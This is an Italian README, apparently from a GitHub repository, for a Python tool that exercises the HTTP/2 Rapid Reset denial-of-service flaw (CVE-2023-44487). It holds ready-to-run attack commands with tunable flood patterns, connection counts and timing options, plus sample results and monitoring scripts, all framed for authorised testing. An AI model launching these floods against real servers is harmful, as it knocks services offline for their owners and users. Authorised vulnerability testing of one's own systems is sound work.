
Strumento di test basato su Python per CVE-2023-44487 (HTTP/2 Rapid Reset) con molteplici modelli di attacco, configurazione granulare e monitoraggio per valutazioni di sicurezza autorizzate.
Uno strumento di test Python completo per CVE-2023-44487, la vulnerabilità HTTP/2 Rapid Reset. Questa versione potenziata fornisce un controllo granulare sui parametri di test, molteplici modelli di attacco e funzionalità di monitoraggio avanzate.
Questo strumento è destinato SOLO a scopi educativi e test autorizzati!
CVE-2023-44487, nota anche come "HTTP/2 Rapid Reset," è una vulnerabilità critica nel protocollo HTTP/2 che consente agli aggressori di:
Punteggio CVSS: 7.5 (Alto)
Denial of Service, Esaurimento delle Risorse
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Dovrebbe essere 3.7+
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Opzione | Descrizione | Predefinito |
|---|---|---|
-c, --connections N | Numero di connessioni concorrenti | 1 |
--connection-timeout SEC | Timeout di connessione in secondi | 10 |
--read-timeout SEC | Timeout di lettura per le risposte | 5 |
--connection-delay SEC | Ritardo tra le connessioni | 0.0 |
| Opzione | Descrizione | Predefinito |
|---|---|---|
-r, --requests N | Richieste per connessione | 100 |
--delay SEC | Ritardo tra HEADERS e RST_STREAM | 0.001 |
--request-delay SEC | Ritardo tra le richieste | 0.0 |
--jitter FACTOR | Fattore di randomizzazione della temporizzazione | 0.0 |
| Opzione | Descrizione | Predefinito |
|---|---|---|
--pattern TYPE | Modello di attacco da utilizzare | rapid_reset |
--burst-size N | Richieste per raffica | 10 |
--burst-delay SEC | Ritardo tra le raffiche | 0.1 |
Modelli Disponibili:
rapid_reset - Attacco rapid reset standardburst_reset - Attacchi basati su raffichegradual_reset - Tasso in aumento gradualerandom_reset - Temporizzazione casualecontinuation_flood - Flooding con frame CONTINUATIONmixed_pattern - Mix di modelli| Opzione | Descrizione | Predefinito |
|---|---|---|
--window-size BYTES | Dimensione finestra iniziale HTTP/2 | 65535 |
--frame-size BYTES | Dimensione massima frame | 16384 |
--header-table-size BYTES | Dimensione tabella header HPACK | 4096 |
--enable-push | Abilita server push HTTP/2 | False |
--rst-error-code CODE | Codice errore RST_STREAM | 8 |
| Opzione | Descrizione | Predefinito |
|---|---|---|
--custom-headers HEADER | Header personalizzati (Nome: Valore) | None |
--random-headers | Genera header casuali | False |
--header-count N | Numero di header casuali | 5 |
| Opzione | Descrizione | Predefinito |
|---|---|---|
--randomize-streams | Utilizza ID stream casuali | False |
--priority-frames | Includi informazioni di priorità | False |
--continue-on-error | Continua dopo gli errori | True |
--max-errors N | Errori massimi prima dell'arresto | 10 |
| Opzione | Descrizione | Predefinito |
|---|---|---|
--track-latency | Traccia la latenza delle richieste | False |
--track-responses | Traccia le risposte del server | False |
--monitor-memory | Monitora l'utilizzo della memoria | False |
| Opzione | Descrizione | Predefinito |
|---|---|---|
--output FORMAT | Formato di output | console |
--output-file FILE | Nome del file di output | generato automaticamente |
--verbose, -v | Output dettagliato | False |
--debug | Log di debug | False |
--log-file FILE | Scrivi log su file | None |
Formati di Output Disponibili:
console - Output console leggibile dall'uomojson - JSON leggibile dalla macchinacsv - CSV compatibile con fogli di calcoloxml - Formato XML strutturatoLo strumento fornisce risultati completi tra cui:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
Lo strumento valuta automaticamente la vulnerabilità:
Se il tuo server risulta vulnerabile, implementa queste mitigazioni:
import subprocess
import json
# Esegui test automatizzato
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# Analizza i risultati
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"RISCHIO ALTO: {vulnerability_score}% tasso di successo")
#!/bin/bash
# Cron job: 0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# Invia allerta se viene rilevata una vulnerabilità
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALLERTA: Il server è vulnerabile all'attacco rapid reset" | mail -s "Allerta di Sicurezza" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# Carica e analizza i risultati CSV
df = pd.read_csv('results.csv')
# Visualizza il successo dell'attacco per connessione
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Successo dell\'Attacco per Connessione')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Distribuzione del Tasso di Successo')
plt.show()
Connessione rifiutata:
Errori SSL/TLS:
--debug per informazioni SSL dettagliateTassi di successo bassi:
Problemi di prestazione:
--debug e --log-file per l'analisi--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyQuesto strumento è fornito sotto la Licenza MIT. Consulta il file LICENSE per i dettagli.
Questo strumento è destinato a professionisti della cybersecurity, ricercatori e amministratori di sistema per testare i propri sistemi o sistemi per i quali dispongono di esplicita autorizzazione. Gli autori non sono responsabili di qualsiasi uso improprio di questo strumento.
Punti Legali Chiave:
Ricorda: Da un grande potere deriva una grande responsabilità. Utilizza questo strumento in modo etico e legale.
La versione potenziata mantiene la compatibilità con la versione base. Tutte le opzioni esistenti della riga di comando continuano a funzionare, con nuove opzioni che forniscono funzionalità aggiuntive.
Per gli utenti che passano dalla versione base:
# Il vecchio utilizzo base funziona ancora
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# Nuovo utilizzo potenziato con opzioni aggiuntive
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json